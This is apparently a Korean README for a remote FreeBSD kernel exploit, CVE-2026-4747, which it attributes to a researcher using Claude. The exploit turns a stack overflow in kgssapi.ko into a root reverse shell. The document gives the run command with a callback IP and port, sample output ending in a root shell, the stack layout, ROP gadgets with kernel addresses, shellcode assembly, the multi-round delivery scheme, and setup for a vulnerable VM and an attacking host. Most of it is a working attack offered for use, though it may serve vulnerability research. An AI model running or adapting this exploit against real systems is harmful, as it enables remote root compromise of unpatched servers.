
FreeBSD CVE-2026-4747용 원격 커널 익스플로잇으로, kgssapi.ko의 스택 버퍼 오버플로를 활용하여 리버스 셸로 RCE를 달성합니다. 다중 라운드 ROP 전달 및 상세한 설정 지침을 포함합니다.
AI가 발견하고 악용한 최초의 원격 커널 익스플로잇
| 항목 | 세부 사항 |
|---|---|
| CVE | CVE-2026-4747 |
| 취약점 | kgssapi.ko (RPCSEC_GSS)의 스택 버퍼 오버플로우 |
| 영향 | 원격 커널 코드 실행 → uid 0 리버스 셸 |
| 영향 버전 | FreeBSD 13.5, 14.3, 14.4, 15.0 (패치되지 않은 버전) |
| 발견자 | Nicholas Carlini (Anthropic의 Claude 사용) |
| Advisory 날짜 | 2026-03-26 |
| 익스플로잇 시간 | 약 8시간 (Claude의 실제 작업 4시간) |
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
출력:
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓
[*] Shellcode delivered and executing
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Claude는 advisory에서 작동하는 리버스 셸까지 도달하기 위해 6가지 서로 다른 기술적 문제를 해결했습니다:
pmap_change_prot() → BSS 실행 가능kthread_exit()를 사용하여 깔끔하게 종료 (커널 패닉 없음)kproc_create() → 유저 모드 인프라를 갖춘 새 프로세스kern_execve("/bin/sh") → ELF 로드, trapframe 구성, P_KPROC 플래그 정리/bin/sh가 uid 0으로 ring 3에서 실행trap 1 (디버그 예외)로 크래시kproc_create()가 부모의 디버그 레지스터를 상속kproc_create() 전에 DR7 정리Credential body byte → Stack target
[0..35] → GSS header (version, proc, seq, svc, handle)
[36..151] → Padding (rpchdr remainder + local vars)
[152..199] → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207] → RETURN ADDRESS ← 첫 번째 ROP 가젯
[208..399] → ROP chain (192 bytes = 24 qwords)
| 가젯 | 주소 | 용도 |
|---|---|---|
pop rdi; ret | K+0x1adcda | 인자 1 (rdi) |
pop rsi; ret | K+0x1cdf98 | 인자 2 (rsi) |
pop rdx; ret | K+0x5fa429 | 인자 3 (rdx) |
pop rax; ret | K+0x400cb4 | 쓸 값 |
mov [rdi], rax; ret | 0xffffffff80e3457c | 8바이트 임의 쓰기 |
여기서 K = 0xffffffff80200000 (커널 베이스, FreeBSD 14.x에서는 KASLR 없음)
1단계 - 엔트리 (하이재킹된 NFS 스레드):
mov rax, 0xffffffff8198bf00 ; BSS로 스택 피벗
mov rsp, rax
xor eax, eax
mov dr7, rax ; 하드웨어 브레이크포인트 정리
call rbx ; kproc_create (RBX에 미리 로드됨)
mov rax, kthread_exit
call rax ; 스레드를 깔끔하게 종료
2단계 - 워커 (새 커널 프로세스):
; kern_execve 인자 구성
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; "-c" 및 리버스 셸 명령 추가
; ...
; /bin/sh 실행
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; P_KPROC 플래그 정리
and byte [rax + 0xb8], 0xfb ; 유저랜드 전환 허용
ret ; → fork_exit → userret → iretq → ring 3
# 이미지 다운로드
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# Cloud-init 구성
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# 포트 포워딩으로 부팅
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
요구 사항:
VM 설정:
# 1. Kerberos 설치
pkg install -y krb5
# 2. KDC 생성
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. KDC 데이터베이스 초기화
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. principals 생성 ("test"를 호스트 이름으로 교체)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"
# 5. KDC 시작
/usr/local/sbin/krb5kdc
# 6. NFS 구성
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. 서비스 활성화
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. 확인
sysctl vfs.nfsd.threads # 16이 표시되어야 함 (CPU 2개 기준)
sockstat -l | grep 2049 # tcp4/tcp6이 표시되어야 함
# 1. 패키지 설치
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi
# 2. /etc/krb5.conf 구성
sudo tee /etc/krb5.conf << EOF
[libdefaults]
default_realm = TEST.LOCAL
rdns = false # 중요: DNS 정규화 방지
dns_canonicalize_hostname = false
[realms]
TEST.LOCAL = {
kdc = VM_IP:KDC_PORT # 127.0.0.1:8888 (QEMU) 또는 192.168.x.x:88 (bridged)
}
EOF
# 3. /etc/hosts에 호스트 이름 추가
echo "VM_IP test" | sudo tee -a /etc/hosts
# 4. Kerberos 티켓 획득
echo "password" | kinit [email protected]
klist
# 5. (선택 사항) 새 가젯을 찾기 위해 ROPgadget 설치
pip install ROPgadget
ROP chain:
pop rdi → rdi = 0xffffffff8198a000 (BSS page)
pop rsi → rsi = 0x2000 (2 pages = 8KB)
pop rdx → rdx = 7 (VM_PROT_ALL = RWX)
pmap_change_prot → 권한을 RWX로 변경
pop rdi → rdi = 0
kthread_exit → 스레드를 깔끔하게 종료
각 라운드는 32바이트 (4 qwords)를 BSS에 작성:
ROP chain template:
pop rdi → rdi = BSS_SC + offset
pop rax → rax = shellcode_qword
mov [rdi], rax → 8바이트 작성
(3번 더 반복)
pop rdi → 0
kthread_exit → 종료
비용: ROP 40바이트/작성 8바이트 → 총 15라운드
ROP chain:
pop rdi → rdi = BSS_SC + 416
pop rax → rax = 마지막 qword
mov [rdi], rax → 작성
(반복)
BSS_SC → 셸코드로 점프!